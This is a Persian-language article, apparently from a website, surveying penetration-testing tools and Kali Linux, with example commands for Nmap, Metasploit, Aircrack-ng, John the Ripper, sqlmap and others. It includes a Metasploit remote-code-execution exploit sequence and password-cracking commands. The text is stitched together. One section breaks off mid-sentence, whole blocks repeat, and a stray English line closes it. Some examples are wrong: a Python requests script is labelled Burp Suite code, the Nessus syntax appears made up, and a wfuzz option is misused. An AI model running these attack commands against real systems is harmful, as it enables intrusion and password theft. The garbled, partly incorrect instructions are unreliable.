ابزارهای تست نفوذ را می‌توان بر اساس نوع عملکردشان به دسته‌های زیر تقسیم کرد:

ابزارهای اسکن امنیتی:
این ابزارها به صورت خودکار سیستم یا شبکه را برای آسیب‌پذیری‌های امنیتی اسکن می‌کنند.

ابزارهای دستی:
این ابزارها به صورت دستی توسط متخصصان تست نفوذ برای شناسایی و بهره‌برداری از آسیب‌پذیری‌ها استفاده می‌شوند.

ابزارهای Fuzzing:
این ابزارها برای ارسال داده‌های ورودی نامعتبر به یک سیستم یا شبکه برای شناسایی آسیب‌پذیری‌های امنیتی استفاده می‌شوند.

ابزارهای تحلیل آسیب‌پذیری:
این ابزارها برای ارزیابی آسیب‌پذیری‌های امنیتی شناسایی‌شده استفاده می‌شوند.

برخی از ابزارهای تست نفوذ محبوب
برخی از ابزارهای تست نفوذ محبوب عبارتند از:

Burp Suite:
یک مجموعه ابزار تست نفوذ همه‌کاره است.

Nikto:
یک اسکنر امنیتی سیستم یا شبکه است که می‌تواند برای شناسایی طیف وسیعی از آسیب‌پذیری‌های امنیتی استفاده شود.

OWASP ZAP:
یک اسکنر امنیتی سیستم یا شبکه متن‌باز است که می‌تواند برای شناسایی طیف وسیعی از آسیب‌پذیری‌های امنیتی استفاده شود.

Metasploit Framework:
یک چارچوب تست نفوذ است که می‌تواند برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی استفاده شود.

SQLMap:
یک ابزار Fuzzing است که می‌تواند برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های SQL Injection استفاده شود.

انتخاب ابزار تست نفوذ
انتخاب ابزار تست نفوذ مناسب به عوامل مختلفی بستگی دارد، از جمله:

سطح دانش و مهارت تست نفوذ:
برخی از ابزارها برای استفاده آسان هستند، در حالی که برخی دیگر نیاز به دانش و مهارت بیشتری دارند.

نوع آسیب‌پذیری‌هایی که باید شناسایی شوند:
برخی از ابزارها برای شناسایی انواع خاصی از آسیب‌پذیری‌ها بهتر هستند.

بودجه:
برخی از ابزارها رایگان هستند، در حالی که برخی دیگر هزینه‌ای دارند.

بهترین راه برای انتخاب ابزار تست نفوذ مناسب، آزمایش ابزارهای مختلف و مقایسه نتایج آنها است.

کد مثال برای استفاده از ابزارهای تست نفوذ
در اینجا چند نمونه از کدهای مثال برای استفاده از ابزارهای تست نفوذ آورده شده است:

ابزار: Burp Suite

Python

import requests

def main():
    url = "https://example.com/login"
    login_data = {
        "username": "admin",
        "password": "password"
    }

    # ارسال داده‌های ورودی به هدف
    response = requests.post(url, data=login_data)

    # بررسی پاسخ برای آسیب‌پذیری‌ها
    if response.status_code == 200:
        # بررسی وجود کد مخرب در پاسخ
        if "malicious_code" in response.text:
            print("آسیب‌پذیری XSS شناسایی شد!")

if __name__ == "__main__":
    main()

این کد نمونه از Burp Suite برای شناسایی آسیب‌پذیری XSS استفاده می‌کند. کد ابتدا داده‌های ورودی را به هدف ارسال می‌کند. سپس، کد پاسخ را برای وجود کد مخرب بررسی می‌کند. اگر کد مخرب در پاسخ یافت شود، کد پیامی را چاپ می‌کند که نشان می‌دهد آسیب‌پذیری XSS شناسایی شده است.

ابزار: Nikto

nikto -h https://example.com 

این کد نمونه از Nikto برای اسکن یک وب‌سایت برای آسیب‌پذیری‌های امنیتی استفاده می‌کند. کد ابتدا URL وب‌سایت را به Nikto می‌دهد. سپس، Nikto وب‌سایت را اسکن می‌کند و گزارشی از آسیب‌پذیری‌های شناسایی‌شده را تولید

کالی لینوکس یک توزیع لینوکس است که برای تست نفوذ و هک اخلاقی طراحی شده است. این توزیع شامل بیش از 600 ابزار مختلف برای تست نفوذ است که در دسته های زیر قرار می گیرند:

جمع آوری اطلاعات:
این ابزارها برای جمع آوری اطلاعات در مورد یک هدف استفاده می شوند، مانند آدرس های IP، پورت های باز، و نام دامنه.

ارزیابی آسیب پذیری:
این ابزارها برای شناسایی آسیب پذیری های امنیتی در یک هدف استفاده می شوند.

بهره برداری:
این ابزارها برای استفاده از آسیب پذیری های امنیتی برای دستیابی به کنترل یک هدف استفاده می شوند.

حملات بی سیم:
این ابزارها برای تست امنیت شبکه های بی سیم استفاده می شوند.

برنامه های کاربردی وب:
این ابزارها برای تست امنیت برنامه های کاربردی وب استفاده می شوند.

شناسایی بسته ها:
این ابزارها برای بررسی ترافیک شبکه استفاده می شوند.

حملات رمز عبور:
این ابزارها برای شکستن رمزهای عبور استفاده می شوند.

در اینجا برخی از ابزارهای تست نفوذ کالی لینوکس به همراه کد مثال آورده شده است:

ابزار Nmap برای اسکن پورت ها و شناسایی آسیب پذیری های امنیتی استفاده می شود.

nmap -sV -p 80,443 <ip_address> 

این کد پورت های 80 و 443 را در آدرس IP مشخص شده اسکن می کند و اطلاعات مربوط به خدماتی که در این پورت ها اجرا می شوند را نمایش می دهد.

ابزار Nessus یک اسکنر امنیتی تجاری است که می تواند برای شناسایی آسیب پذیری های امنیتی در یک شبکه استفاده شود.

nessus -u <username> -p <password> -t <target> 

این کد یک اسکن امنیتی با استفاده از Nessus را در هدف مشخص شده اجرا می کند.

ابزار Metasploit یک چارچوب بهره برداری است که می تواند برای استفاده از آسیب پذیری های امنیتی برای دستیابی به کنترل یک هدف استفاده شود.

    
msfconsole
use exploit/multi/http/php_rce
set RHOST <ip_address>
set LHOST <ip_address>
exploit
 

این کد یک حمله بهره برداری از راه دور را بر روی هدف مشخص شده با استفاده از آسیب پذیری PHP RCE اجرا می کند.

ابزار Aircrack-ng برای شکستن رمزهای عبور شبکه های بی سیم استفاده می شود.

aircrack-ng <cap_file> 

این کد یک حمله brute-force را بر روی رمز عبور شبکه بی سیم مشخص شده اجرا می کند.

ابزار Burp Suite یک ابزار امنیتی است که برای تست امنیت برنامه های کاربردی وب استفاده می شود.

burpsuite 

این کد Burp Suite را راه اندازی می کند.

ابزار Nikto یک اسکنر امنیتی است که برای شناسایی آسیب پذیری های امنیتی در وب سایت ها استفاده می شود.

nikto -host <website> 

این کد یک اسکن امنیتی را در وب سایت مشخص شده اجرا می کند.

ابزار John the Ripper یک ابزار شکستن رمز عبور است که می تواند برای شکستن رمزهای عبور رمزگذاری شده با انواع مختلف الگوریتم ها استفاده شود.

john <hash> 

این کد یک حمله brute-force را بر روی رمز عبور رمزگذاری شده مشخص شده اجرا می کند.

اینها تنها چند نمونه از ابزارهای تست نفوذ کالی لینوکس هستند. برای اطلاعات بیشتر، می توانید به مستندات کالی لینوکس مراجعه کنید.

در اینجا چند ابزار تست نفوذ کالی لینوکس دیگر به همراه کد مثال آورده شده است:

ابزار Wireshark برای بررسی ترافیک شبکه استفاده می شود.

wireshark 

این کد Wireshark را راه اندازی می کند.

ابزار Metasploit Framework یک چارچوب بهره برداری است که می تواند برای استفاده از آسیب پذیری های امنیتی برای دستیابی به کنترل یک هدف استفاده شود.

msfconsole 

این کد Metasploit Framework را راه اندازی می کند.

ابزار Nessus یک اسکنر امنیتی تجاری است که می تواند برای شناسایی آسیب پذیری های امنیتی در یک شبکه استفاده شود.

nessus 

این کد Nessus را راه اندازی می کند.

ابزار Nmap برای اسکن پورت ها و شناسایی آسیب پذیری های امنیتی استفاده می شود.

nmap 

این کد Nmap را راه اندازی می کند.

ابزار dirb برای اسکن وب سایت ها برای فایل ها و دایرکتوری های شناخته شده استفاده می شود.

dirb <website> 

این کد یک اسکن dirb را در وب سایت مشخص شده اجرا می کند.

ابزار sqlmap برای شناسایی و بهره برداری از آسیب پذیری های SQL Injection استفاده می شود.

sqlmap -u <website> 

این کد یک اسکن sqlmap را در وب سایت مشخص شده اجرا می کند.

ابزار Wfuzz برای شناسایی و بهره برداری از آسیب پذیری های HTTP Fuzzing استفاده می شود.

wfuzz -u <website> -c <wordlist> 

این کد یک اسکن wfuzz را در وب سایت مشخص شده با استفاده از لیست کلمات مشخص شده اجرا می کند.

ابزار Metasploit Framework برای استفاده از آسیب پذیری های امنیتی برای دستیابی به کنترل یک هدف استفاده می شود.

    
msfconsole
use exploit/multi/http/php_rce
set RHOST <ip_address>
set LHOST <ip_address>
exploit

این کد یک حمله بهره برداری از راه دور را بر روی هدف مشخص شده با استفاده از آسیب پذیری PHP RCE اجرا می کند.

ابزار Aircrack-ng برای شکستن رمزهای عبور شبکه های بی سیم استفاده می شود.

aircrack-ng <cap_file> 

این کد یک حمله brute-force را بر روی رمز عبور شبکه بی سیم مشخص شده اجرا می کند.

ابزار Burp Suite یک ابزار امنیتی است که برای تست امنیت برنامه های کاربردی وب استفاده می شود.

burpsuite 

این کد Burp Suite را راه اندازی می کند.

ابزار Nikto یک اسکنر امنیتی است که برای شناسایی آسیب پذیری های امنیتی در وب سایت ها استفاده می شود.

nikto -host <website> 

این کد یک اسکن امنیتی را در وب سایت مشخص شده اجرا می کند.

ابزار John the Ripper یک ابزار شکستن رمز عبور است که می تواند برای شکستن رمزهای عبور رمزگذاری شده با انواع مختلف الگوریتم ها استفاده شود.

john <hash> 

این کد یک حمله brute-force را بر روی رمز عبور رمزگذاری شده مشخص شده اجرا می کند.

اینها تنها چند نمونه از ابزارهای تست نفوذ کالی لینوکس هستند. برای اطلاعات بیشتر، می توانید به مستندات کالی لینوکس مراجعه کنید.

در اینجا چند نکته برای استفاده از ابزارهای تست نفوذ کالی لینوکس آورده شده است:

همیشه از یک محیط آزمایشی جداگانه برای تست نفوذ استفاده کنید تا از آسیب رساندن به سیستم های تولید جلوگیری کنید.

قبل از استفاده از هر ابزاری، مستندات آن را به دقت بخوانید تا نحوه استفاده ایمن از آن را بیاموزید.

همیشه از نسخه های جدید ابزارها استفاده کنید تا از آخرین آسیب پذیری ها آگاه باشید.

از ابزارهای تست نفوذ برای مقاصد قانونی استفاده کنید. استفاده غیرقانونی از این ابزارها می تواند عواقب قانونی جدی داشته باشد.

با استفاده صحیح از ابزارهای تست نفوذ کالی لینوکس، می توانید امنیت شبکه و سیستم های خود را بهبود بخشید.

1. Entering the English page